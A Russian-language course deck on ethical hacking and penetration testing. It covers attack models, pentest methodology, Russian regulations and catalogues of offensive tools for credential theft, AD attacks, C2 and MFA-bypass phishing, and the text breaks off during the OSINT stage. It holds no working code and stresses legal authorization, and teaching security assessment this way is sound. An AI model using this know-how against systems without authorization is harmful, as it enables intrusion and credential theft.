Курс повышения квалификации

Технологии хакеров
и оценка защищённости
информационной инфраструктуры

Программа профессиональной переподготовки «Информационная безопасность» · 5 лекций + практика

Автор
Пиков В. А.
Формат
Очно + практика
Уровень
Входной
Длительность
09:30 — 18:20
Внимание · правовая ответственность

Только в собственной виртуальной лаборатории — в отношении тестовых машин

Рассматриваемые в курсе приёмы тестирования защищённости отрабатываются исключительно в изолированной среде. Использование в отношении реальных информационных ресурсов может подпадать под:

272
УК РФ ст. 272. Неправомерный доступ к компьютерной информации.
273
УК РФ ст. 273. Создание, использование и распространение вредоносных компьютерных программ.
274
УК РФ ст. 274. Нарушение правил эксплуатации средств хранения, обработки или передачи компьютерной информации.
274.1
УК РФ ст. 274.1. Неправомерное воздействие на критическую информационную инфраструктуру РФ.

Все материалы курса предназначены исключительно для образовательных целей. Действие за пределами подтверждённых полномочий может образовать состав преступления; конкретная квалификация зависит от фактов и применимого права.

© 2026 Пиков В. А.02 / Предупреждение
Содержание

Структура дня · 09:30 — 18:20

09:30 — 11:00
01
Технологии хакеров для аудита информационной безопасности
Терминология, классификация, Cyber Kill Chain, MITRE ATT&CK
1 ч 30 мин
11:10 — 12:40
02
Тестирование на проникновение и анализ безопасности
Виды, объекты, методологии, российская нормативная база
1 ч 30 мин
13:30 — 15:00
03
Программные инструменты оценки защищённости
Карта инструментария · акцент на российских решениях
1 ч 30 мин
15:10 — 16:40
04
Перечень задач в рамках оценки защищённости
12 этапов · OWASP Top 10 · MASVS · отчёт
1 ч 30 мин
16:50 — 18:20
05
Угрозы отказа в обслуживании (DoS / DDoS)
L3/L4/L7, амплификация, ботнеты, защита
1 ч 30 мин
В каждом блоке
10–20 минут
06
Четыре микропрактики · решение, доказательство, защита
RoE → локальный Juice Shop → карточка находки → DDoS-tabletop
≈ 60 мин
© 2026 Пиков В. А.03 / Содержание
Модуль · Лекция 1 из 5

Технологии хакеров
для аудита информационной безопасности

09:30 — 11:00 · 1 ч 30 мин
01
© 2026 Пиков В. А.04 / Модуль 01
Модуль 01 · §1

Кто такой хакер. Эволюция термина

Определение

«Хакер» — специалист, глубоко понимающий устройство ИТ-систем и способный находить нетривиальные способы их использования. Этическая окраска термина задаётся намерением и правовым основанием.

Ключевая дихотомия

HackerCracker. Первоначально «crackers» — те, кто взламывает с деструктивной целью; «hackers» — исследователи систем. Современный медиа-узус оба термина смешивает.

Этапы становления термина

1960-е
MIT, Tech Model Railroad Club. Слово «hack» — изящное техническое решение. Культура академического любопытства.
1970-е
Фрикинг. Эксперименты со связной инфраструктурой. Появляется субкультура взлома систем.
1980-е
BBS, первые вирусы, фильм «WarGames» (1983). Романтизация образа. Закладываются основы 272-й статьи (в РФ — позднее).
2000-е
Коммерциализация атак. Рынок 0-day, ботнеты, организованная киберпреступность. Появление пентеста как услуги.
2020-е
APT, RaaS, гос-аффилированные группировки. Атаки как часть гибридных конфликтов. Понятие «киберустойчивости».
© 2026 Пиков В. А.05 / Модуль 01 · §1
Модуль 01 · §2

Классификация хакеров

Шесть устойчивых архетипов, различающихся по мотивации, правовому статусу и зрелости TTPs.

White Hat

Этичные исследователи и пентестеры. Работают по договору, согласовывают RoE, сертифицированы (CEH/OSCP).

Легально

Grey Hat

Действуют без явного разрешения, но не с деструктивной целью. Публикуют находки. Правовая зона — серая.

Полулегально

Black Hat

Атаки с криминальным мотивом: кража данных, ransomware, мошенничество. Часть оргструктур: брокеры доступа, операторы.

Незаконно

Script Kiddie

Без глубокой квалификации, используют готовый инструментарий. Опасны из-за массовости и непредсказуемости целей.

Низкая зрелость

Hacktivist

Идеологически мотивированные атаки: дефейсы, дампы, DDoS. Действуют поверх политических событий и кампаний.

Идеология

APT

Advanced Persistent Threat — продолжительные целевые операции. Гос-аффилированные акторы, разработанный TTP-арсенал, многолетнее присутствие.

Высокая зрелость
© 2026 Пиков В. А.06 / Модуль 01 · §2
Модуль 01 · §3

Этичный хакинг в системе аудита ИБ

От бумажной проверки соответствия — к моделированию реального противника. Каждый следующий шаг увеличивает глубину, но и стоимость и риски.

01 / Compliance
Документарный аудит
Сверка ОРД, политик, регламентов с требованиями (152-ФЗ, ПДн, СТО).
02 / Configuration
Технический аудит
Проверка конфигураций ОС/СЗИ, прав, сегментации. Без эксплуатации.
03 / Vulnerability
Сканирование уязвимостей
Автоматизированный поиск (Nessus, MaxPatrol VM, OpenVAS). Перечень CVE.
04 / Adversary
Пентест
Ручная эксплуатация в роли атакующего. Demonstrable impact, PoC.
Глубина → растёт

От «что должно быть» к «что произойдёт, если злоумышленник попробует».

Стоимость → растёт

Пентест требует высокой квалификации; Red Team — годовой контракт и инфраструктуру.

Юр. оформление → жёстче

Договор, NDA, явный список целей, time-box, контактные лица, аварийный стоп.

© 2026 Пиков В. А.07 / Модуль 01 · §3
Модуль 01 · §4

Cyber Kill Chain · Lockheed Martin, 2011

Линейная модель этапов целевой атаки. Полезна для проектирования эшелонированной защиты: «прервать раньше — дешевле».

01
Reconnaissance
OSINT, сбор поддоменов, email-ов сотрудников, технологий.
02
Weaponization
Сборка полезной нагрузки: эксплойт + payload + транспорт.
03
Delivery
Доставка: фишинг, USB, watering hole, supply chain.
04
Exploitation
Срабатывание уязвимости или соц-инженерии. Получение RCE.
05
Installation
Persistence: импланты, службы, scheduled tasks, AutoRun.
06
Command & Control
Канал управления: HTTPS-маяки, DNS-туннель, мессенджеры.
07
Actions on Objectives
Цель: эксфильтрация, шифрование, разрушение, шпионаж.
Принцип

Чтобы успешно завершить атаку, противнику нужно пройти все 7 звеньев. Защитнику достаточно разорвать одно.

Критика модели

Не описывает внутренние сценарии (инсайдер, цепочка поставок) и не объясняет lateral movement → отсюда MITRE ATT&CK.

© 2026 Пиков В. А.08 / Модуль 01 · §4
Модуль 01 · §5

MITRE ATT&CK · матрица тактик и техник

Открытая база знаний о поведении атакующих. Tactic — зачем, Technique — как. В материалах зафиксирована ATT&CK v19.2 с 15 тактиками Enterprise; перед использованием состав техник следует сверять по официальному permalink матрицы v19.

01Reconnaissance
02Resource Development
03Initial Access
04Execution
05Persistence
06Privilege Escalation
07Stealth
08Defense Impairment
09Credential Access
10Discovery
11Lateral Movement
12Collection
13Command & Control
14Exfiltration
15Impact
Матрицы

Enterprise · Mobile · ICS. Cloud и Containers представлены платформами внутри Enterprise.

Применение

Threat-informed defense, Navigator, сопоставление теста с TTP и наблюдаемым защитным сигналом.

В РФ-практике

Проверяйте версию перед занятием: история релизов MITRE.

© 2026 Пиков В. А.09 / Модуль 01 · §5
Модуль 01 · §6

Дополнительные модели угроз

Diamond Model (2013)

Каждое событие — четырёхвершинный ромб: противник → возможность → инфраструктура → жертва. Полезно для увязки IOC, атрибуции и трекинга кампаний.

Adversary Capability Infrastructure Victim

Unified Kill Chain (Paul Pols, 2017)

18 фаз, объединяющих Cyber Kill Chain и ATT&CK. Описывает внутренние сценарии: In, Through, Out.

In
Recon
Weapon.
Delivery
Soc.Eng
Exploit.
Persist.
Through
Def.Ev.
C2
Pivoting
Discov.
Priv.Esc.
Exec.
Cred.Acc.
Out
Lat.Mov.
Collection
Exfiltr.
Impact
Obj.
© 2026 Пиков В. А.10 / Модуль 01 · §6
Модуль 01 · §7

Red · Blue · Purple Team

Три роли в зрелой программе ИБ. Цель — не «найти, кто сильнее», а ускорить цикл «атака → детект → исправление».

Red

Атакующая сторона

Моделирует противника, ищет реальный путь к критичным активам. TTPs документируются.

  • Полная цепочка атаки
  • OSINT, эксплуатация, lateral movement
  • Объективная оценка «можно ли пройти»
Blue

Защитники

SOC, IR, инженеры СЗИ. Поддерживают детекты, runbook'и, threat hunting, восстановление.

  • SIEM, EDR, NTA, deception
  • Покрытие MITRE ATT&CK
  • Метрики MTTD / MTTR
Purple

Совместная работа

Не отдельная команда, а режим взаимодействия. Red атакует — Blue в реальном времени смотрит, чего не видно в SIEM.

  • Атомарные тесты (Atomic Red Team)
  • Совместные tabletop-учения
  • Закрытие пробелов в детекте
© 2026 Пиков В. А.11 / Модуль 01 · §7
Модуль 01 · §8

Профессиональные сертификации

Внешние сертификаты — индикатор квалификации, но не замена опыту. Российские программы повышения квалификации закрывают регуляторные требования.

Россия · регуляторные

Отраслевые учебные центры

Программы профпереподготовки и повышения квалификации, признаваемые ФСТЭК / ФСБ при лицензировании.

Россия · отраслевые

СС «Тестлаб», АИС

Программы лабораторий, аккредитованных ФСТЭК для оценки соответствия и проведения испытаний.

Спец. направления

OSWP · CRTO · BSCP · eMAPT

Wi-Fi, AD-Red Team, Burp Suite, мобильные приложения. Узкоспециализированные срезы.

© 2026 Пиков В. А.12 / Модуль 01 · §8
Модуль 01 · §9

Контрольные вопросы

01
Чем «hacker» исторически отличается от «cracker»? Корректно ли использование этих терминов в современном медиа?
02
Перечислите шесть архетипов хакеров и приведите по одному правовому различию между Grey Hat и White Hat.
03
Опишите, чем технический аудит ИБ принципиально отличается от пентеста по объёму и юридическому оформлению.
04
Назовите все 7 фаз Cyber Kill Chain. На какой из них защитнику выгоднее всего разорвать атаку и почему?
05
В чём принципиальное различие между «тактикой» и «техникой» в MITRE ATT&CK? Приведите пример.
06
Чем Diamond Model полезна там, где Cyber Kill Chain недостаточна?
07
Что такое режим Purple Team и какие метрики SOC он улучшает?
08
Какие международные сертификации преимущественно практико-ориентированные? Какие документы их закрывают в РФ-юрисдикции?
© 2026 Пиков В. А.13 / Модуль 01 · §9
Модуль · Лекция 2 из 5

Тестирование на проникновение
и анализ безопасности

11:10 — 12:40 · 1 ч 30 мин
02
© 2026 Пиков В. А.14 / Модуль 02
Модуль 02 · §1

Что такое пентест

Рабочее определение

Санкционированная имитация атаки, выполняемая по согласованным правилам в отношении конкретного скоупа с целью продемонстрировать реальный риск, а не только список «слабых мест».

Ключевое слово

Санкционированная. Действия вне явно подтверждённых полномочий и скоупа могут образовать состав преступления; квалификация зависит от фактических обстоятельств и применимого права.

Что входит в результат

A
Executive summary — для руководства, на 1 стр.
B
Методология и скоуп — что, как и в какие окна тестировалось.
C
Находки с PoC — воспроизводимые шаги, доказательства, CVSS.
D
Рекомендации — приоритизированные, с привязкой к ATT&CK / OWASP.
E
Verification — повторная проверка устранённых находок.
© 2026 Пиков В. А.15 / Модуль 02 · §1
Модуль 02 · §2

Не путать: VA · Pentest · Red Team · Audit · Compromise Assessment

Вид работ Главная цель Глубина Длительность Кому полезно
Vulnerability Assessment
Сканирование уязвимостей
Перечень CVE/мисконфигов Часы — дни Регулярные циклы, compliance
Penetration Test
Пентест
Доказать достижимость риска 2 — 6 недель Перед аудитом, релизом, в годовом цикле
Red Team Проверить готовность обнаружения и реагирования 2 — 6 месяцев Зрелые SOC, гос/финсектор
Security Audit
Аудит соответствия
Соответствие стандартам/регуляторам 1 — 2 месяца 152-ФЗ, ПДн, ГОСТ, отраслевые СТО
Compromise Assessment
Threat hunting / IR-pre
Найти текущую/прошлую компрометацию 3 — 8 недель После инцидента, при росте APT-рисков

Глубина: — задействована, — нет.

© 2026 Пиков В. А.16 / Модуль 02 · §2
Модуль 02 · §3

Виды по доступной информации

Чем больше известно пентестеру до старта, тем глубже покрытие и тем меньше времени уходит на воспроизведение OSINT-стадии.

?

Black Box

Атакующий знает только публичные данные (домен, IP-диапазон). Имитирует внешнего противника. Дольше, шире, реалистичнее.

Минимум контекста
½

Grey Box

Известна часть архитектуры или есть «пользователь без прав». Имитирует инсайдера/скомпрометированного сотрудника. Лучший cost / coverage.

Частичный контекст

White Box

Есть исходный код, схемы, креды, документация. Глубокий аудит логики, поиск архитектурных дефектов. Самая высокая отдача на единицу времени.

Полный контекст
© 2026 Пиков В. А.17 / Модуль 02 · §3
Модуль 02 · §4

Виды по расположению атакующего

External Pentest

Из публичного интернета — как сделал бы внешний противник. Цель: периметр, публичные приложения, удалённый доступ.

Web и API
VPN / RDP / SSH
Почта, MX, SPF/DKIM/DMARC
DNS, поддомены, утечки токенов
Attacker Internet FW/DMZ Периметр Web · VPN · Mail Public APIs

Internal Pentest

Из корп. сети — как сделал бы инсайдер или закрепившийся противник. Цель: AD, файловые ресурсы, доменные привилегии.

Active Directory
Файловые шары, общие диски
Сегментация и VLAN
Привилегированный доступ
Attacker LAN-host DC File Apps
© 2026 Пиков В. А.18 / Модуль 02 · §4
Модуль 02 · §5

Объекты тестирования

«Скоуп» — это не только список IP-адресов. Каждый из объектов требует своей методологии, инструментов и компетенций.

Периметр

Web-публикация, VPN, почтовые серверы, удалённый доступ.

Web-приложения

OWASP WSTG. SSRF, IDOR, дефекты бизнес-логики.

Мобильные приложения

OWASP MASVS. Анализ pinning, локального хранения, IPC.

Беспроводные сети

WPA2/WPA3, PMKID, Rogue AP, EAP-misconfig.

АСУ ТП / OT

Modbus, S7, IEC-104. NIST SP 800-82. Особый regime безопасности.

Облака

IAM-мисконфиги, S3-бакеты, OAuth, secrets в репозиториях.

Социнженерия

Фишинг, vishing, smishing. Pretexting, физпроникновение.

Физическая безопасность

СКУД, замки, опечатки, незащищённые сетевые розетки.

© 2026 Пиков В. А.19 / Модуль 02 · §5
Модуль 02 · §6

Этапы пентеста по PTES

PTES — общественная модель выполнения пентеста из 7 фаз. Это полезная карта процесса, но не нормативный стандарт; Technical Guidelines содержат legacy-примеры и требуют актуализации под конкретный стек.

01
Pre-engagement
Согласование скоупа, RoE, окон, контактов, ценоформирования.
02
Intelligence Gathering
OSINT, активная и пассивная разведка, картирование атак-поверхности.
03
Threat Modeling
Определение приоритетных угроз и активов под скоуп.
04
Vulnerability Analysis
Сканирование + ручная валидация. Отсев false-positive.
05
Exploitation
Безопасная реализация PoC. Документирование шагов.
06
Post-Exploitation
Пивотинг, эскалация, доступ к target assets. Аккуратная очистка.
07
Reporting
Отчёт, презентация заказчику, верификация исправлений.

Источник: PTES documentation. Для RoE и планирования сопоставляйте с NIST SP 800-115, а для веб-тестов — с WSTG/ASVS.

© 2026 Пиков В. А.20 / Модуль 02 · §6
Модуль 02 · §7

Методологии и международные стандарты

Модель выполнения

PTES

Community execution model: семь фаз от pre-engagement до reporting.

Веб

OWASP WSTG / ASVS

WSTG — процедуры тестирования; ASVS — проверяемые требования к приложению.

Мобильные

OWASP MASTG / MASVS

В MASVS 2.1 — восемь категорий, включая MASVS-PRIVACY; начиная с MASVS 2.0 уровни вынесены в MASTG Testing Profiles.

Открытая методология

OSSTMM 3

Open Source Security Testing Methodology Manual. Метрики RAV для измеримой оценки.

Планирование

NIST SP 800-115

Стабильная основа planning/execution/reporting 2008 года; не единственная современная методика.

Платёжные

PCI DSS Pentest

Требование 11.4: пентест сегментации + внешний/внутренний. Не реже 1 раза в год + при изменениях.

© 2026 Пиков В. А.21 / Модуль 02 · §7
Модуль 02 · §8

Российская нормативная база

Регуляторные документы, на которые ссылаются договоры на пентест и оценку защищённости в РФ. Список — не исчерпывающий, но базовый.

ФЗ

187-ФЗ

«О безопасности КИИ». Понятие субъекта/объекта КИИ, категорирование, обязанности.

УП

Указы № 250 и № 166

№ 250 — дополнительные меры ИБ; технологическая независимость установлена № 166. Применимость и ограничения определяются конкретным объектом и правоотношением.

ФСТЭК

Приказ ФСТЭК России № 117

Требования к защите информации: применимость определяется видом системы и переходными положениями.

ФСТЭК

Приказ № 21

Защита персональных данных. Уровни защищённости УЗ-1 … УЗ-4 и меры под них.

ФСТЭК

Приказ № 31

Требования к АСУ ТП на КВО. Меры, привязанные к группам и классам АСУ.

ФСТЭК

Приказ № 239

Требования по обеспечению безопасности значимых объектов КИИ. Включая анализ уязвимостей.

МЦ

Типовое ТЗ Минцифры

Типовое техническое задание на проведение работ по оценке защищённости и пентесту.

БДУ

БДУ ФСТЭК

Банк данных угроз безопасности информации. Источник идентификаторов уязвимостей и угроз для отчётов.

МУ

Метод. документ ФСТЭК

Методика оценки угроз безопасности информации (2021). Сценарии нарушителя, базис модели угроз.

Перед закупкой или испытаниями статус конкретного средства и сертификата следует проверять в реестре ФСТЭК; наличие требования к сертификации нельзя выводить только из типа организации.

© 2026 Пиков В. А.22 / Модуль 02 · §8
Модуль 02 · §9

Rules of Engagement (RoE) — чек-лист

Документ, без которого пентест не стартует. Защищает обе стороны и фиксирует, что считается «in-scope».

Скоуп. Полный список доменов, IP-диапазонов, приложений, API. Что явно out-of-scope.
Тип работ. VA / Pentest / Red Team. Box (black/grey/white). External/Internal.
Окна работ. Конкретные даты и часы. Запрещённые периоды (ночи, выходные, релизные «заморозки»).
Запрещённые техники. DDoS, soc. eng., физика, эксплойты без RoE-исключения, перезагрузки production.
Контакты сторон. 24/7-эскалация, аварийный стоп-сигнал, способ верификации.
IP-адреса пентестера. Whitelist на WAF/IDS — если не red team. Атрибуция трафика.
Обработка данных. Что делать при доступе к ПДн, гостайне, коммтайне. Удаление артефактов.
Критические находки. Условия немедленного уведомления (sev: critical).
Хранение и передача отчёта. Шифрование, конкретные получатели, формат, сроки уничтожения копий.
Юр. защита. NDA, страховка ответственности, форс-мажор, ответственность за сторонние ресурсы.
© 2026 Пиков В. А.23 / Модуль 02 · §9
Модуль 02 · §10

Контрольные вопросы

01
Сформулируйте определение пентеста. Что превращает «исследование защищённости» в уголовное преступление?
02
Чем Red Team отличается от Penetration Test по цели, продолжительности и метрикам успеха?
03
Что такое Grey Box и почему он часто даёт лучший cost/coverage?
04
Назовите 4 категории объектов тестирования из скоупа. Какая методология применяется к мобильным приложениям?
05
Перечислите 7 этапов PTES. Какой этап чаще всего недооценивают?
06
Где найти БДУ ФСТЭК и зачем привязывать находки к её идентификаторам?
07
Какие требования к пентесту содержит приказ ФСТЭК № 239?
08
Какие пункты RoE защищают пентестера, а какие — заказчика?
© 2026 Пиков В. А.24 / Модуль 02 · §10
Модуль · Лекция 3 из 5

Программные инструменты
оценки защищённости

13:30 — 15:00 · 1 ч 30 мин
03
© 2026 Пиков В. А.25 / Модуль 03
Модуль 03 · §1

Сетевая разведка и OSINT

Картирование инфраструктуры до того, как «коснёшься» ресурса. Открытые источники, специализированные поисковики и пассивные сканеры.

Nmap

Сетевой сканер портов и сервисов. NSE-скрипты для расширения возможностей.

OSS · де-факто стандарт
Masscan

Высокоскоростное сканирование больших диапазонов. Асинхронный TCP.

OSS · скорость
Zmap

Интернет-масштабное сканирование одной командой. Исследовательский инструмент.

OSS · масштаб
Recon-ng

Модульный фреймворк для OSINT. Хранит artifacts в локальной БД.

OSS
theHarvester

Поиск email, поддоменов, имён сотрудников по открытым источникам.

OSS
Amass

OWASP-проект. Подбор поддоменов через DNS, CT-логи, ASN.

OSS · OWASP
Shodan

Поисковик подключённых устройств. Удобные dorks для CVE и продуктов.

SaaS · платно
Censys

Альтернативный интернет-сканер. TLS-сертификаты, конфигурации.

SaaS
Netlas.io

Российский интернет-сканер. Поиск по баннерам, TLS, ответам HTTP.

RU · SaaS
© 2026 Пиков В. А.26 / Модуль 03 · §1
Модуль 03 · §2

Сканеры уязвимостей · зарубежные

Корпоративные продукты с подписками на CVE-feed'ы. Для большинства закрытых контуров в РФ — недоступны или не сертифицированы.

Tenable Nessus

Самый распространённый коммерческий сканер. Огромная база плагинов.

Коммерческий
OpenVAS / Greenbone

Открытый сканер уязвимостей. Бесплатная Community Edition + платная GVM.

OSS / коммерческий
Qualys VMDR

SaaS-платформа управления уязвимостями. Континуальный мониторинг.

SaaS
Rapid7 InsightVM

VM-платформа с агентами. Интегрирована с Metasploit и InsightIDR.

Коммерческий
Важно для российской практики

Выбор сканера зависит от вида системы, модели угроз, требований заказчика и применимых мер защиты. Сертификация и актуальный статус продукта проверяются по реестру ФСТЭК на дату применения.

© 2026 Пиков В. А.27 / Модуль 03 · §2
Модуль 03 · §3 · Акцент

Сканеры уязвимостей · российские

Российские решения могут поддерживать БДУ ФСТЭК и иметь сертификаты. Это проверяется для конкретной версии продукта; применимость требований определяется видом системы и нормативной моделью.

MaxPatrol VM

Positive Technologies. Корпоративная VM-платформа. Активная и пассивная инвентаризация, привязка к угрозам.

ФСТЭК · СЗИ
RedCheck

АЛТЭКС-СОФТ. Сетевой и хостовый сканер уязвимостей и конфигураций. Один из массовых выборов в госсекторе.

ФСТЭК · СЗИ
XSpider

Positive Technologies. Сетевой сканер уязвимостей. Долго на рынке, привычен инженерам.

ФСТЭК · СЗИ
Сканер-ВС 6

НПО «Эшелон». Сертифицированный сканер уязвимостей и комплаенс-аудита. Применяется на ОКИИ.

ФСТЭК · СЗИ
ScanOVAL

ФСТЭК России. Бесплатный инструмент проверки наличия уязвимостей из БДУ. Стандарт OVAL.

ФСТЭК · бесплатно
Ankey RBI / Vault

«Газинформсервис». Платформа управления уязвимостями. Интеграция с DLP/SIEM серии Ankey.

RU · платформа
© 2026 Пиков В. А.28 / Модуль 03 · §3
Модуль 03 · §4

Фреймворки эксплуатации и постэксплуатации

Metasploit Framework

Открытая платформа с модулями exploit / payload / post / aux. Стандарт для обучения и стартовый инструмент.

OSS · Rapid7
Cobalt Strike

Коммерческий C2 для Red Team. Beacon, malleable C2, post-exploitation kit. Часто используется и атакующими.

Коммерческий
Sliver

Открытая альтернатива Cobalt Strike (BishopFox). Cross-platform, gRPC/HTTPS/mtls транспорты.

OSS
Empire / Starkiller

PowerShell/Python C2. Активно развивается сообществом BC-Security.

OSS
Havoc

Современный модульный C2. Custom-агенты, обход EDR, post-ex модули.

OSS
Mythic

Гибкий C2-фреймворк с web-UI. Множество payload'ов под разные платформы.

OSS
Внимание

C2-фреймворки используются и атакующими, и защитниками. Применение без подтверждённых полномочий и RoE может образовать состав преступления: в зависимости от обстоятельств — ст. 272 УК РФ (неправомерный доступ), а ст. 273 — когда инструмент подпадает под признаки вредоносной программы.

© 2026 Пиков В. А.29 / Модуль 03 · §4
Модуль 03 · §5

Веб-приложения

Стандартный набор для тестирования веб-API и веб-приложений. Burp Suite + sqlmap + ffuf покрывают 80% задач.

Burp Suite Pro

Перехватывающий прокси, Repeater, Intruder, Scanner. Стандарт индустрии для веб-пентеста.

Коммерческий
OWASP ZAP

Открытый прокси-сканер от OWASP. Подходит для CI/CD-проверок.

OSS · OWASP
sqlmap

Автоматизация SQL-инъекций. Поддержка десятков СУБД, time-based, OOB.

OSS
Nikto

Сканер устаревших файлов и конфигураций веб-серверов. Быстрый baseline.

OSS
Gobuster

Перебор директорий, поддоменов, vhost'ов. Параллельный.

OSS
ffuf

Универсальный фаззер для веб. Быстрее Gobuster, шаблонная подстановка.

OSS
wpscan

Сканер WordPress: плагины, темы, уязвимости из WPScan DB.

OSS
Caido

Современная альтернатива Burp. Rust-стек, web UI, workflows.

Freemium
© 2026 Пиков В. А.30 / Модуль 03 · §5
Модуль 03 · §6

Парольные атаки

Hydra

Сетевой брутфорс: SSH, RDP, HTTP-формы, SMB, FTP, баз данных и более 50 сервисов.

OSS
Medusa

Альтернатива Hydra. Многопоточная, модульная архитектура.

OSS
John the Ripper

Оффлайн-восстановление паролей. CPU-ориентирован. Множество форматов.

OSS
Hashcat

GPU-ориентированный взлом хешей. Самый быстрый для NTLM, WPA, bcrypt.

OSS
NetExec

Преемник CrackMapExec. Атаки на SMB/AD/MSSQL/WinRM по сети.

OSS
kerbrute

Перебор имён пользователей AD через Kerberos pre-auth. Быстро и тихо.

OSS
Практический принцип

Длинные парольные политики и MFA дают на порядки больший эффект, чем «политика смены раз в 90 дней». Это нужно явно отражать в отчёте.

© 2026 Пиков В. А.31 / Модуль 03 · §6
Модуль 03 · §7

Атаки на Active Directory

AD — главный приз внутреннего пентеста в большинстве корпоративных контуров. Сценарии путей атакующего хорошо изучены и автоматизированы.

BloodHound CE

Граф-анализ путей атак в AD/AzureAD. Подсветка кратчайших путей до DA / EA.

OSS · граф
mimikatz

Извлечение креденшалов из памяти, DPAPI, LSASS. Pass-the-Hash / Pass-the-Ticket.

OSS · постэкспл.
Impacket

Python-набор для работы с протоколами Windows: secretsdump, wmiexec, psexec.

OSS
Rubeus

Kerberos-атаки в Windows: AS-REP roasting, Kerberoasting, S4U.

OSS
Responder

LLMNR/NBT-NS/MDNS poisoning. Сбор NTLMv1/v2-хешей в сегменте.

OSS
Certipy / Certify

Эксплуатация AD CS (ESC1—ESC11). Современный путь к DA через шаблоны сертификатов.

OSS · AD CS
© 2026 Пиков В. А.32 / Модуль 03 · §7
Модуль 03 · §8

Анализ сетей и трафика. Беспроводные сети

Wireshark

Анализатор протоколов. Глубокий разбор сетевых пакетов и дешифрование TLS при наличии ключей.

OSS
tcpdump

CLI-захват трафика. Используется на серверах и сетевых устройствах.

OSS
Aircrack-ng

Полный набор для аудита Wi-Fi: захват хендшейков, инжекция, взлом WPA-PSK.

OSS · Wi-Fi
Kismet

Многопротокольный беспроводной сниффер. 2.4/5 GHz, Bluetooth, Zigbee.

OSS
Bettercap

Современный MitM-фреймворк: ARP, DHCP, DNS, HTTPS-stripping, Wi-Fi.

OSS
hcxtools / hcxdumptool

Сбор PMKID и handshakes для атаки на WPA2/WPA3-SAE.

OSS
© 2026 Пиков В. А.33 / Модуль 03 · §8
Модуль 03 · §9

Социальная инженерия и фишинг

Социальная инженерия требует отдельного согласования в RoE. Ниже — одна датированная выборка нарушений по вектору, не универсальная доля всех атак в мире.

Источник: Verizon 2026 DBIR. Категории считаются независимо и не суммируются в 100% — это доли подтверждённых нарушений выборки, а не доли всех атак в мире.

GoPhish

Открытая платформа фишинг-кампаний. Шаблоны писем, landing pages, метрики.

OSS
Evilginx2

Reverse-proxy для обхода MFA через перехват session-cookie.

OSS · AitM
SET

Social-Engineer Toolkit. Классический набор сценариев: spear-phishing, payload USB, mass mailer.

OSS · TrustedSec
Метрики кампании

CTR (click rate) — справочная метрика. Главное — credential / payload submit rate и time to first report от пользователей в SOC: показатель зрелости культуры ИБ.

© 2026 Пиков В. А.34 / Модуль 03 · §9
Модуль 03 · §10

Дистрибутивы для пентеста

Kali Linux

Offensive Security. Самый распространённый дистрибутив. Используется в нашей практике (модуль 6).

~ 600 инструментов

Parrot OS

Альтернатива Kali. Более лёгкая, ориентирована на повседневное использование.

Security · Home · IoT

BlackArch

Arch-based дистрибутив. Самый большой репозиторий инструментов (> 2500).

Для опытных

Commando VM

Mandiant. Pentest-окружение для Windows. Полезно для AD-сценариев и .NET-инструментов.

Windows

REMnux

Linux для анализа вредоносного ПО. Sandbox-инструменты, реверс-инжиниринг.

Malware analysis

Astra Linux Special Edition

Применяется на ОКИИ. Для лабораторного пентеста — обычно базовый Kali, но при необходимости — отечественные дистрибутивы.

ФСТЭК
© 2026 Пиков В. А.35 / Модуль 03 · §10
Модуль 03 · §11

Open Source vs коммерческие инструменты

Критерий Open Source Коммерческие Российские (сертиф.)
СтоимостьБесплатноВысокая, подпискаСредняя, рублёвая
Поддержка вендораСообществоПолноценная SLAЛокальная SLA
Источники сведенийCVE Records + NVD enrichmentVendor advisories + CVE RecordsБДУ ФСТЭК + CVE Records
СертификацияНетЗарубежныеФСТЭК / ФСБ
Доступность в РФБез ограниченийОграниченаБез ограничений
Подходит для complianceЧастичноВнеш. рынкиВнутренний

Хорошая практика — гибрид: OSS для исследования и Red Team, сертифицированные сканеры — для отчётности перед регулятором.

© 2026 Пиков В. А.36 / Модуль 03 · §11
Модуль 03 · §12

Контрольные вопросы

01
Чем Masscan отличается от Nmap и в каких задачах его применение оправдано?
02
Назовите минимум четыре отечественных сканера уязвимостей и приведите их основные отличия.
03
В чём принципиальная разница между BloodHound и Mimikatz по типу решаемой задачи?
04
При каких условиях использование Cobalt Strike без подписанного RoE может образовать состав преступления и по какой статье УК РФ?
05
Какие инструменты применяются для атак на Wi-Fi WPA2/WPA3?
06
Какие метрики фишинг-кампании важнее CTR?
07
В каких случаях выбор Kali оправдан, а когда стоит взять Parrot или Commando VM?
08
Опишите гибридную модель использования OSS и сертифицированных сканеров для ГИС.
© 2026 Пиков В. А.37 / Модуль 03 · §12
Модуль · Лекция 4 из 5

Перечень задач в рамках работ
по оценке защищённости

15:10 — 16:40 · 1 ч 30 мин
04
© 2026 Пиков В. А.38 / Модуль 04
Модуль 04 · §1

Дорожная карта · 12 этапов оценки защищённости

Сводный «маршрут». Далее раскрываем каждый этап отдельным слайдом. Этапы 1–6 — общий пайплайн; 7–12 — глубокая работа с объектами и отчётом.

Этап 01

Подготовка

Договор, NDA, RoE

Этап 02

Сбор информации

OSINT, утечки

Этап 03

Сканирование

Инвентаризация

Этап 04

Уязвимости

БДУ ФСТЭК, CVE

Этап 05

Эксплуатация

PoC, RCE

Этап 06

Постэкспл.

Lateral movement

Этап 07

Web (OWASP)

Top 10 + WSTG

Этап 08

Мобильные (MASVS)

8 категорий + MASTG

Этап 09

Wi-Fi

WPA2/3, Rogue AP

Этап 10

Социнженерия

Phishing, физика

Этап 11

Детект SOC

ATT&CK coverage

Этап 12

Отчёт

CVSS · рекомендации

© 2026 Пиков В. А.39 / Модуль 04 · §1
Модуль 04 · Этап 01

Подготовительный этап

Юридическое оформление

Договор, NDA, согласование скоупа с владельцами систем. Доверенности на работы.

Rules of Engagement

Окна, контакты 24/7, аварийный стоп, запрещённые техники, whitelisting IP пентестера.

Согласование с регулятором

Уведомление НКЦКИ для значимых объектов КИИ. Согласование внешнего трафика с провайдером ANTI-DDOS, если требуется.

Чек-лист готовности
Договор подписан обеими сторонами
Скоуп и out-of-scope зафиксированы
Получены явные разрешения владельцев
Контактные лица + 24/7-канал согласованы
Уведомлены SOC и поставщик WAF/DDoS
Pre-engagement встреча проведена
Backup критичных систем
Snapshot/clone тестовых машин
© 2026 Пиков В. А.40 / Модуль 04 · Этап 01
Модуль 04 · Этап 02

Сбор информации · OSINT

«Чем меньше шумишь — тем дальше пройдёшь». Пассивная стадия может занимать до 30% времени работ.

Поддомены

Amass · subfinder · CT-логи

Полный реестр доменов и DNS-записей. Идентификация теневых сред.

Утечки

HaveIBeenPwned · DeHashed

Поиск креденшалов в дампах. Аккаунты сотрудников, корп. домены.

Метаданные
